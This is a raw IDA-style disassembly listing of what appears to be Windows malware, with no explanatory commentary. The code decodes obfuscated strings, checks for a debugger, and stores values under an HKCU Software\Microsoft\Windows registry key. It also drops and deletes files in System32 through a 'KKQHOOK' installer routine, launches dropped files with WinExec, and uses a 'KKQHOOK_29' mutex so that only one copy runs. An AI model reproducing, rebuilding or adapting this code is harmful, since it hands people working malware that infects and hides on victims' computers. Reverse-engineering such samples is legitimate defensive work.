		mov	[ebp+var_1028],	47D6h
		mov	eax, 2DD7h
		mul	[ebp+var_1028]
		mov	[ebp+var_15C0],	eax
		mov	[ebp+var_1028],	eax
		or	ebx, ebx
		jnz	short loc_409BA8
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		pop	ecx
		mov	[ebp+var_15C2],	2655h
		movzx	eax, [ebp+var_15C2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_15C2],	ax
		jmp	loc_40A8A0
; ---------------------------------------------------------------------------

loc_409BA8:				; CODE XREF: sub_4098A8+2CAj
		and	[ebp+var_1018],	0
		push	1Ah
		push	offset aZAgJIsJZAigGz ;	""
		call	sub_40129C
		mov	[ebp-15C4h], eax
		push	3
		push	offset word_446CEA
		call	sub_40129C
		push	4
		push	4
		lea	edi, [ebp+var_1018]
		push	edi
		push	eax
		mov	edi, [ebp-15C4h]
		push	edi
		push	80000001h
		call	sub_40160A
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_401A7E
		add	esp, 30h
		mov	[ebp+var_F0C], eax
		or	eax, eax
		jz	loc_40A8A0
		lea	edi, [ebp+var_115E]
		lea	esi, aOcqud	; "ocqUd"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C704	; DeleteFileA
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		pop	ecx
		and	[ebp+var_708], 0
		jmp	loc_40A867
; ---------------------------------------------------------------------------

loc_409C42:				; CODE XREF: sub_4098A8+FE2j
		mov	ax, word_4469F0
		mov	[ebp+var_35D0],	ax
		cmp	[ebp+var_600], 0
		jz	loc_40A867
		call	sub_40C734	; GetCurrentProcessId
		lea	ecx, [ebp+var_600]
		or	eax, 0FFFFFFFFh

loc_409C6A:				; CODE XREF: sub_4098A8+3C7j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409C6A
		cmp	eax, 5Ch
		jb	loc_40A867
		mov	[ebp+var_25C5],	9Bh
		movzx	eax, [ebp+var_25C5]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_25C5],	al
		mov	[ebp+var_5A8], 0
		mov	ax, word_4469F2
		mov	[ebp+var_35D2],	ax
		push	0FFFh
		lea	eax, [ebp+var_25C4]
		push	eax
		lea	eax, [ebp+var_5A7]
		push	eax
		call	sub_40893E
		push	0FFFh
		lea	eax, [ebp+var_35CD]
		push	eax
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40893E
		add	esp, 18h
		mov	[ebp+var_25CC],	1FCCh
		mov	eax, [ebp+var_25CC]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_25CC],	edx
		mov	[ebp+var_15C6],	0
		mov	[ebp+var_25CE],	35D8h
		movzx	eax, [ebp+var_25CE]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_25CE],	ax
		mov	[ebp+var_15C5],	0
		jmp	short loc_409D40
; ---------------------------------------------------------------------------

loc_409D22:				; CODE XREF: sub_4098A8+4B1j
		movzx	eax, [ebp+var_15C5]
		lea	edx, [ebp+eax+var_25C4]
		movsx	ecx, byte ptr [edx]
		sub	ecx, eax
		mov	eax, ecx
		mov	[edx], al
		add	[ebp+var_15C5],	1

loc_409D40:				; CODE XREF: sub_4098A8+478j
		lea	ecx, [ebp+var_25C4]
		or	eax, 0FFFFFFFFh

loc_409D49:				; CODE XREF: sub_4098A8+4A6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409D49
		movzx	esi, [ebp+var_15C5]
		cmp	esi, eax
		jb	short loc_409D22
		mov	[ebp+var_35CE],	4
		add	[ebp+var_35CE],	1
		lea	ecx, [ebp+var_25C4]
		or	eax, 0FFFFFFFFh

loc_409D72:				; CODE XREF: sub_4098A8+4CFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409D72
		lea	esi, [ebp+var_35CD]
		push	esi
		push	eax
		lea	edi, [ebp+var_25C4]
		push	edi
		call	sub_408779
		add	esp, 0Ch
		mov	[ebp+var_35D8],	eax
		push	5
		push	offset word_446CDA
		call	sub_40129C
		add	esp, 8
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		lea	edi, [ebp+var_25C4]
		push	edi
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0
		jnz	loc_40A2DE
		mov	[ebp+var_46E4],	234h
		mov	eax, [ebp+var_46E4]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_46E4],	edx
		mov	eax, dword_4469F4
		mov	[ebp+var_470C],	eax
		lea	edi, [ebp+var_4714]
		lea	esi, aMB7d	; "M;$:7d"
		mov	ecx, 8
		rep movsb
		lea	eax, [ebp+var_25BF]
		push	eax
		lea	eax, [ebp+var_45DB]
		push	eax
		call	sub_40C6D8
		call	sub_40C854	; IsDebuggerPresent
		mov	[ebp+var_35DC],	0
		mov	[ebp+var_46E0],	4
		lea	eax, [ebp+var_46F4]
		push	eax
		lea	eax, [ebp+var_46E0]
		push	eax
		lea	eax, [ebp+var_35DC]
		push	eax
		push	offset aOfstkkq	; "ofstkkq"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014C9
		add	esp, 18h
		mov	[ebp+var_46F5],	9Dh
		movzx	eax, [ebp+var_46F5]
		imul	eax, 3388h
		mov	[ebp+var_46F5],	al
		mov	eax, dword_43C094
		add	eax, 3
		push	eax
		lea	eax, [ebp+var_703]
		push	eax
		call	sub_40172F
		add	esp, 8
		push	9
		push	offset byte_446D1F
		call	sub_40129C
		add	esp, 8
		lea	edi, [ebp+var_703]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC50
		add	esp, 10h
		call	sub_40C764	; RtlGetLastWin32Error
		push	1
		push	offset byte_446CE0
		call	sub_40129C
		add	esp, 8
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	0
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_400]
		push	edi
		lea	edi, [ebp+var_45DB]
		push	edi
		push	offset dword_41FA00
		call	sub_4061F7
		add	esp, 20h
		mov	ebx, eax
		call	sub_40C764	; RtlGetLastWin32Error
		cmp	ebx, 0
		jnz	short loc_409F27
		mov	[ebp+var_472D],	69h
		add	[ebp+var_472D],	1
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		add	esp, 4
		call	sub_40C7D0	; GetVersion
		jmp	short loc_409F60
; ---------------------------------------------------------------------------

loc_409F27:				; CODE XREF: sub_4098A8+659j
		push	4
		push	4
		lea	eax, [ebp+var_604]
		push	eax
		push	offset aOfstkkq	; "ofstkkq"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_40160A
		mov	eax, dword_446A00
		mov	[ebp+var_4718],	eax
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		add	esp, 1Ch

loc_409F60:				; CODE XREF: sub_4098A8+67Dj
		and	[ebp+var_35DC],	0
		mov	[ebp+var_46E0],	4
		call	sub_40C794	; GetProcessHeap
		lea	eax, [ebp+var_46F4]
		push	eax
		lea	eax, [ebp+var_46E0]
		push	eax
		lea	eax, [ebp+var_35DC]
		push	eax
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014C9
		add	esp, 18h
		push	0
		push	0
		push	4
		push	0
		push	0
		push	80000000h
		push	offset dword_40E080
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_46EC],	eax
		push	0
		push	eax
		call	sub_40C74C	; GetFileSize
		mov	[ebp+var_4708],	eax
		call	sub_40C7D0	; GetVersion
		push	[ebp+var_46EC]
		call	sub_40C7AC	; CloseHandle
		call	sub_40C764	; RtlGetLastWin32Error
		mov	eax, [ebp+var_4708]
		cmp	[ebp+var_35DC],	eax
		jb	short loc_409FFC
		call	sub_40C794	; GetProcessHeap
		jmp	loc_40A157
; ---------------------------------------------------------------------------

loc_409FFC:				; CODE XREF: sub_4098A8+748j
		lea	edi, [ebp+var_471F]
		lea	esi, dword_446A04
		mov	ecx, 7
		rep movsb
		mov	eax, 1Ah
		sub	eax, dword_43C098
		push	eax
		lea	eax, [ebp+var_46DA]
		push	eax
		call	sub_40172F
		push	9
		push	offset dword_446CD0
		call	sub_40129C
		lea	edi, [ebp+var_46DA]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC50
		call	sub_40C854	; IsDebuggerPresent
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40341E
		mov	[ebp+var_46FC],	3814h
		add	[ebp+var_46FC],	12E1h
		push	1
		push	offset byte_446CE0
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	[ebp+var_35DC]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_400]
		push	edi
		lea	edi, [ebp+var_45DB]
		push	edi
		push	offset dword_40E080
		call	sub_4061F7
		mov	ebx, eax
		mov	[ebp+var_46FE],	486Fh
		movzx	eax, [ebp+var_46FE]
		imul	eax, 20EDh
		mov	[ebp+var_46FE],	ax
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C704	; DeleteFileA
		lea	edi, [ebp+var_4724]
		lea	esi, aUw	; "UW|'"
		mov	ecx, 5
		rep movsb
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		add	esp, 50h
		mov	[ebp+var_4700],	1BDh
		movzx	eax, [ebp+var_4700]
		imul	eax, 1736h
		mov	[ebp+var_4700],	ax
		or	ebx, ebx
		jz	short loc_40A157
		mov	dword ptr [ebp-4730h], 1381h
		sub	dword ptr [ebp-4730h], 2095h
		cmp	[ebp+var_604], 0
		jz	short loc_40A157
		push	4
		push	4
		lea	eax, [ebp+var_604]
		push	eax
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_40160A
		add	esp, 18h

loc_40A157:				; CODE XREF: sub_4098A8+74Fj
					; sub_4098A8+86Ej ...
		push	0
		push	80h
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_415080
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_46F0],	eax
		lea	edi, [ebp+var_472C]
		lea	esi, aP2	; ">:=	P2"
		movsd
		movsd
		cmp	[ebp+var_46F0],	0FFFFFFFFh
		jz	loc_40A8A0
		call	sub_40C7C4	; GetTickCount
		push	[ebp+var_46F0]
		call	sub_40C7AC	; CloseHandle
		call	sub_40C7C4	; GetTickCount
		lea	eax, [ebp+var_45DB]
		push	eax
		lea	eax, [ebp+var_F08]
		push	eax
		call	sub_40CC50
		mov	[ebp+var_46E6],	4301h
		movzx	eax, [ebp+var_46E6]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_46E6],	ax
		push	6
		push	offset aIDsc	; "밹"
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_F08]
		push	edi
		call	sub_40CC74
		mov	[ebp+var_4701],	99h
		movzx	eax, [ebp+var_4701]
		imul	eax, 2D23h
		mov	[ebp+var_4701],	al
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40341E
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, dword_43C094
		add	eax, 3
		push	eax
		lea	eax, [ebp+var_46DA]
		push	eax
		call	sub_40172F
		push	9
		push	offset byte_446D1F
		call	sub_40129C
		lea	edi, [ebp+var_46DA]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC50
		mov	[ebp+var_4702],	0B2h
		add	[ebp+var_4702],	25h
		push	1
		push	offset byte_446CE0
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	[ebp+var_35DC]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_400]
		push	edi
		lea	edi, [ebp+var_F08]
		push	edi
		push	offset dword_415080
		call	sub_4061F7
		mov	ebx, eax
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C704	; DeleteFileA
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		add	esp, 68h
		call	sub_40C7C4	; GetTickCount
		or	ebx, ebx
		jz	short loc_40A2DE
		mov	eax, dword_446A18
		mov	[ebp-4730h], eax
		push	offset dword_415080
		call	sub_40C704	; DeleteFileA

loc_40A2DE:				; CODE XREF: sub_4098A8+51Cj
					; sub_4098A8+A1Fj
		cmp	[ebp+var_25C4],	3Ah
		jnz	loc_40A499
		cmp	[ebp+var_25C1],	3Ah
		jnz	loc_40A499
		call	sub_40C734	; GetCurrentProcessId
		mov	[ebp+var_25C1],	0
		push	5
		push	offset byte_446CC3
		call	sub_40129C
		lea	edi, [ebp+var_35DC]
		push	edi
		push	eax
		lea	edi, [ebp+var_25C4]
		push	edi
		call	sub_40CC68
		add	esp, 14h
		call	sub_40C7D0	; GetVersion
		cmp	[ebp+var_35DC],	0
		jz	short loc_40A35E
		call	sub_40CC38
		mov	edx, 621B97C3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		inc	edi
		cmp	edi, [ebp+var_35DC]
		ja	loc_40A867

loc_40A35E:				; CODE XREF: sub_4098A8+A8Bj
		mov	[ebp+var_35DD],	36h
		add	[ebp+var_35DD],	1
		cmp	ds:dword_419720, 2
		jnz	short loc_40A3DE
		mov	[ebp+var_35DF],	79h
		movzx	eax, [ebp+var_35DF]
		imul	eax, 2939h
		mov	[ebp+var_35DF],	al
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		push	0Ah
		push	offset dword_446CB8
		call	sub_40129C
		lea	edi, [ebp+var_400]
		push	edi
		push	eax
		lea	edi, [ebp+var_1010]
		push	edi
		call	sub_40CC50
		push	8
		push	offset byte_446CAF
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC74
		add	esp, 24h
		jmp	short loc_40A43F
; ---------------------------------------------------------------------------

loc_40A3DE:				; CODE XREF: sub_4098A8+ACBj
		call	sub_40C7C4	; GetTickCount
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C7F4	; GetWindowsDirectoryA
		call	sub_40C7C4	; GetTickCount
		push	0Eh
		push	offset dword_446CA0
		call	sub_40129C
		lea	edi, [ebp+var_400]
		push	edi
		push	eax
		lea	edi, [ebp+var_1010]
		push	edi
		call	sub_40CC50
		call	sub_40C734	; GetCurrentProcessId
		push	0Ch
		push	offset byte_446C93
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC74
		add	esp, 24h
		call	sub_40C734	; GetCurrentProcessId

loc_40A43F:				; CODE XREF: sub_4098A8+B34j
		lea	eax, [ebp+var_1010]
		push	eax
		call	sub_40C704	; DeleteFileA
		call	sub_40C734	; GetCurrentProcessId
		push	8
		push	offset word_446C8A
		call	sub_40129C
		lea	edi, [ebp+var_25C4]
		add	edi, 4
		push	edi
		lea	edi, [ebp+var_400]
		push	edi
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC50
		add	esp, 18h
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C938	; WinExec
		mov	[ebp+var_35DE],	3Dh
		add	[ebp+var_35DE],	10h

loc_40A499:				; CODE XREF: sub_4098A8+A3Dj
					; sub_4098A8+A4Aj
		push	5
		push	offset dword_446C84
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		lea	edi, [ebp+var_25C4]
		push	edi
		call	sub_40181A
		add	esp, 14h
		or	eax, eax
		jnz	loc_40A62C
		call	sub_40C740	; GetCurrentThreadId
		mov	[ebp+var_55DC],	1060h
		sub	[ebp+var_55DC],	872h
		lea	edi, [ebp+var_55E1]
		lea	esi, aQ		; "^:$q"
		mov	ecx, 5
		rep movsb
		mov	eax, 19h
		sub	eax, dword_43C098
		push	eax
		lea	eax, [ebp+var_703]
		push	eax
		call	sub_40172F
		push	9
		push	offset byte_446D1F
		call	sub_40129C
		lea	edi, [ebp+var_703]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_45D7]
		push	edi
		call	sub_40CC50
		mov	eax, dword_446A21
		mov	[ebp+var_55E6+1], eax
		mov	eax, dword_446A25
		mov	[ebp+var_55EA+1], eax
		lea	eax, [ebp+var_25BF]
		push	eax
		lea	eax, [ebp+var_55D6]
		push	eax
		call	sub_40C6D8
		call	sub_40C764	; RtlGetLastWin32Error
		push	3
		push	offset aMC	; ""
		call	sub_40129C
		mov	[ebp+var_55F0],	eax
		push	1
		push	offset byte_446CE0
		call	sub_40129C
		push	0
		push	0
		push	0
		push	eax
		mov	edi, [ebp+var_55F0]
		push	edi
		lea	edi, [ebp+var_45D7]
		push	edi
		lea	edi, [ebp+var_55D6]
		push	edi
		push	0
		call	sub_4061F7
		add	esp, 50h
		mov	ebx, eax
		lea	edi, [ebp+var_55EA]
		lea	esi, byte_446A29
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	ebx, 2
		jnz	short loc_40A62C
		mov	[ebp+var_55F4],	554Dh
		mov	eax, 565Ch
		mul	[ebp+var_55F4]
		mov	[ebp+var_55F8],	eax
		mov	[ebp+var_55F4],	eax
		push	0
		lea	eax, [ebp+var_45D7]
		push	eax
		call	sub_40C938	; WinExec
		push	6
		push	offset aGvJ	; ""
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		lea	edi, [ebp+var_55D6]
		push	edi
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	short loc_40A62C
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		call	sub_40CBFC
		pop	ecx

loc_40A62C:				; CODE XREF: sub_4098A8+C1Bj
					; sub_4098A8+D12j ...
		push	5
		push	offset byte_446C73
		call	sub_40129C
		mov	edi, 6
		sub	edi, dword_43C094
		push	edi
		push	eax
		lea	edi, [ebp+var_25C4]
		push	edi
		call	sub_40181A
		add	esp, 14h
		or	eax, eax
		jnz	loc_40A867
		mov	ax, word_446A2A
		mov	[ebp+var_5602],	ax
		call	sub_40C7C4	; GetTickCount
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		push	offset dword_41E8D0
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_45E8],	eax
		mov	[ebp+var_55F0],	3Ch
		add	[ebp+var_55F0],	5583h
		push	6
		push	offset aSA	; "輠"
		call	sub_40129C
		add	esp, 8
		push	0
		lea	edi, [ebp+var_55EC]
		push	edi
		mov	edi, 18h
		sub	edi, dword_43C098
		push	edi
		push	eax
		push	[ebp+var_45E8]
		call	sub_40C944	; WriteFile
		lea	eax, [ebp+var_25BF]
		push	eax
		lea	eax, [ebp+var_45DB]
		push	eax
		call	sub_40C6D8
		mov	word ptr [ebp+var_55F4+2], 1AEFh
		inc	word ptr [ebp+var_55F4+2]
		lea	ecx, [ebp+var_45DB]
		or	eax, 0FFFFFFFFh

loc_40A6FD:				; CODE XREF: sub_4098A8+E5Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40A6FD
		mov	[ebp+var_45E0],	eax
		mov	[ebp+var_35DC],	0
		jmp	short loc_40A73A
; ---------------------------------------------------------------------------

loc_40A716:				; CODE XREF: sub_4098A8+E9Ej
		mov	eax, [ebp+var_35DC]
		cmp	[ebp+eax+var_45DB], 7Ch
		jnz	short loc_40A734
		mov	eax, [ebp+var_35DC]
		mov	[ebp+eax+var_45DB], 0

loc_40A734:				; CODE XREF: sub_4098A8+E7Cj
		inc	[ebp+var_35DC]

loc_40A73A:				; CODE XREF: sub_4098A8+E6Cj
		mov	eax, [ebp+var_45E0]
		cmp	[ebp+var_35DC],	eax
		jb	short loc_40A716
		lea	edi, [ebp+var_5609]
		lea	esi, aV_ngv	; "V_Ngv+"
		mov	ecx, 7
		rep movsb
		and	[ebp+var_45E4],	0

loc_40A762:				; CODE XREF: sub_4098A8+F90j
		push	1Fh
		push	offset dword_446C4C
		call	sub_40129C
		mov	edi, [ebp+var_45E4]
		lea	edi, [ebp+edi+var_45DB]
		push	edi
		push	eax
		lea	edi, [ebp+var_55EA+3]
		push	edi
		call	sub_40CC50
		add	esp, 14h
		mov	byte ptr [ebp+var_55F4+1], 0CCh
		add	byte ptr [ebp+var_55F4+1], 1
		lea	ecx, [ebp+var_55EA+3]
		or	eax, 0FFFFFFFFh

loc_40A7A3:				; CODE XREF: sub_4098A8+F00j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40A7A3
		push	0
		lea	esi, [ebp+var_55EC]
		push	esi
		push	eax
		lea	edi, [ebp+var_55EA+3]
		push	edi
		push	[ebp+var_45E8]
		call	sub_40C944	; WriteFile
		mov	[ebp+var_55F8],	0FBh
		mov	eax, 2DF3h
		mul	[ebp+var_55F8]
		mov	[ebp+var_5610],	eax
		mov	eax, [ebp+var_5610]
		mov	[ebp+var_55F8],	eax
		mov	eax, [ebp+var_45E4]
		mov	[ebp+var_5614],	eax
		lea	ecx, [ebp+eax+var_45DB]
		or	eax, 0FFFFFFFFh

loc_40A803:				; CODE XREF: sub_4098A8+F60j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40A803
		mov	esi, [ebp+var_5614]
		add	esi, eax
		mov	[ebp+var_45E4],	esi
		mov	[ebp+var_55F9],	17h
		add	[ebp+var_55F9],	0FAh
		inc	[ebp+var_45E4]
		mov	eax, [ebp+var_45E0]
		cmp	[ebp+var_45E4],	eax
		jb	loc_40A762
		mov	[ebp+var_55FA],	0B8h
		sub	[ebp+var_55FA],	50h
		push	[ebp+var_45E8]
		call	sub_40C7AC	; CloseHandle
		mov	[ebp+var_5600],	5720h
		inc	[ebp+var_5600]

loc_40A867:				; CODE XREF: sub_4098A8+395j
					; sub_4098A8+3AEj ...
		lea	eax, [ebp+var_600]
		push	eax
		push	[ebp+var_708]
		push	[ebp+var_F0C]
		call	sub_401BB7
		add	esp, 0Ch
		mov	[ebp+var_708], eax
		or	eax, eax
		jnz	loc_409C42
		push	[ebp+var_F0C]
		call	sub_40C884	; LocalFree
		call	sub_40C7D0	; GetVersion

loc_40A8A0:				; CODE XREF: sub_4098A8+2FBj
					; sub_4098A8+35Bj ...
		call	sub_408B4C
		call	sub_40C764	; RtlGetLastWin32Error
		fld	dbl_446C44
		fimul	dword_43C0BC
		mov	edi, eax
		call	sub_40C630
		xchg	eax, edi
		push	edi
		call	sub_40CBF0
		mov	edi, dword_43C0C0
		sub	edi, eax
		inc	edi
		mov	[ebp+var_1014],	edi
		mov	eax, dword_446A33
		mov	[ebp+var_1162],	eax
		mov	eax, edi
		mov	[ebp-15C8h], eax
		push	eax
		call	sub_40CBF0
		add	esp, 8
		mov	edi, [ebp-15C8h]
		add	edi, eax
		mov	[ebp+var_1014],	edi
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, edi
		mov	edi, dword_43C0C0
		sub	edi, dword_43C0BC
		mov	ecx, edi
		inc	ecx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_15CC],	eax
		mov	[ebp+var_1014],	eax
		call	sub_40C854	; IsDebuggerPresent
		call	sub_40CC38
		mov	[ebp+var_15D0],	eax
		mov	eax, dword_43C0BC
		mov	edx, 66666667h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 1
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		lea	edi, [eax+eax*4]
		mov	esi, [ebp+var_1014]
		mov	edx, [ebp+var_15D0]
		mov	eax, esi
		imul	eax, [ebp+var_15D0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	edi, [edi+edx+5]
		mov	dword_43C0BC, edi
		call	sub_40C7C4	; GetTickCount
		mov	eax, dword_43C0C0
		cmp	dword_43C0BC, eax
		jbe	short loc_40A98F
		and	dword_43C0BC, 0

loc_40A98F:				; CODE XREF: sub_4098A8+10DEj
		lea	edi, [ebp+var_1163]
		lea	esi, byte_446A37
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	30D40h
		call	sub_40CBD8
		pop	ecx
		call	sub_40C764	; RtlGetLastWin32Error
		jmp	loc_40993B
sub_4098A8	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9BC	proc near		; CODE XREF: sub_40AA24+11p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		call	sub_40C7D0	; GetVersion
		mov	[ebp+var_2], 7C9Bh
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	offset aKkqhook_29 ; "KKQHOOK_29"
		push	0
		push	1F0001h
		call	sub_40C890	; OpenMutexA
		mov	[ebp+var_8], eax
		or	eax, eax
		jz	short loc_40AA21
		call	sub_40C764	; RtlGetLastWin32Error
		push	[ebp+var_8]
		call	sub_40C7AC	; CloseHandle
		mov	[ebp+var_C], 7B70h
		sub	[ebp+var_C], 2C79h
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		call	sub_40CBFC
		pop	ecx

loc_40AA21:				; CODE XREF: sub_40A9BC+36j
		pop	edi
		leave
		retn
sub_40A9BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA24	proc near		; CODE XREF: sub_40C654+5Cp

var_7CF		= byte ptr -7CFh
var_7C8		= dword	ptr -7C8h
var_7C3		= byte ptr -7C3h
var_7C1		= byte ptr -7C1h
var_7C0		= dword	ptr -7C0h
var_7BC		= dword	ptr -7BCh
var_7B8		= dword	ptr -7B8h
var_7B4		= byte ptr -7B4h
var_7AF		= byte ptr -7AFh
var_7AC		= word ptr -7ACh
var_7AA		= byte ptr -7AAh
var_7A2		= byte ptr -7A2h
var_79F		= byte ptr -79Fh
var_797		= word ptr -797h
var_795		= byte ptr -795h
var_792		= byte ptr -792h
var_78C		= byte ptr -78Ch
var_784		= byte ptr -784h
var_780		= dword	ptr -780h
var_77C		= word ptr -77Ch
var_77A		= byte ptr -77Ah
var_67B		= byte ptr -67Bh
var_57C		= byte ptr -57Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= byte ptr -470h
var_36C		= dword	ptr -36Ch
var_367		= byte ptr -367h
var_366		= word ptr -366h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35B		= byte ptr -35Bh
var_2F7		= byte ptr -2F7h
var_293		= byte ptr -293h
var_292		= word ptr -292h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_286		= word ptr -286h
var_284		= dword	ptr -284h
var_27E		= word ptr -27Eh
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_272		= word ptr -272h
var_270		= byte ptr -270h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_167		= byte ptr -167h
var_166		= word ptr -166h
var_164		= word ptr -164h
var_161		= byte ptr -161h
var_5D		= byte ptr -5Dh
var_5C		= dword	ptr -5Ch
var_55		= dword	ptr -55h
var_51		= dword	ptr -51h
var_4D		= dword	ptr -4Dh
var_49		= dword	ptr -49h
var_45		= dword	ptr -45h
var_41		= dword	ptr -41h
var_3D		= dword	ptr -3Dh
var_39		= dword	ptr -39h
var_35		= dword	ptr -35h
var_31		= dword	ptr -31h
var_2D		= byte ptr -2Dh
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_1D		= byte ptr -1Dh
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		call	sub_40C764	; RtlGetLastWin32Error
		call	sub_40A9BC
		call	sub_40C734	; GetCurrentProcessId
		mov	ax, word_446A38
		mov	[ebp+var_77C], ax
		push	104h
		lea	eax, [ebp+var_161]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		mov	[ebp+var_164], 7225h
		sub	[ebp+var_164], 4952h
		push	13h
		push	offset byte_446C2F
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_161]
		push	edi
		call	sub_40CC74
		add	esp, 10h
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000001h
		lea	eax, [ebp+var_161]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_36C], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40AAB8
		call	sub_40844F
		jmp	short loc_40AAC3
; ---------------------------------------------------------------------------

loc_40AAB8:				; CODE XREF: sub_40AA24+8Bj
		push	[ebp+var_36C]
		call	sub_40C7AC	; CloseHandle

loc_40AAC3:				; CODE XREF: sub_40AA24+92j
		call	sub_40C764	; RtlGetLastWin32Error
		push	9
		push	offset aZ_1	; ""
		call	sub_40129C
		push	eax
		call	sub_40C800	; GlobalAddAtomA
		call	sub_40C7D0	; GetVersion
		mov	eax, [ebp+arg_0]
		mov	ds:dword_41E8CC, eax
		mov	ds:dword_419710, 94h
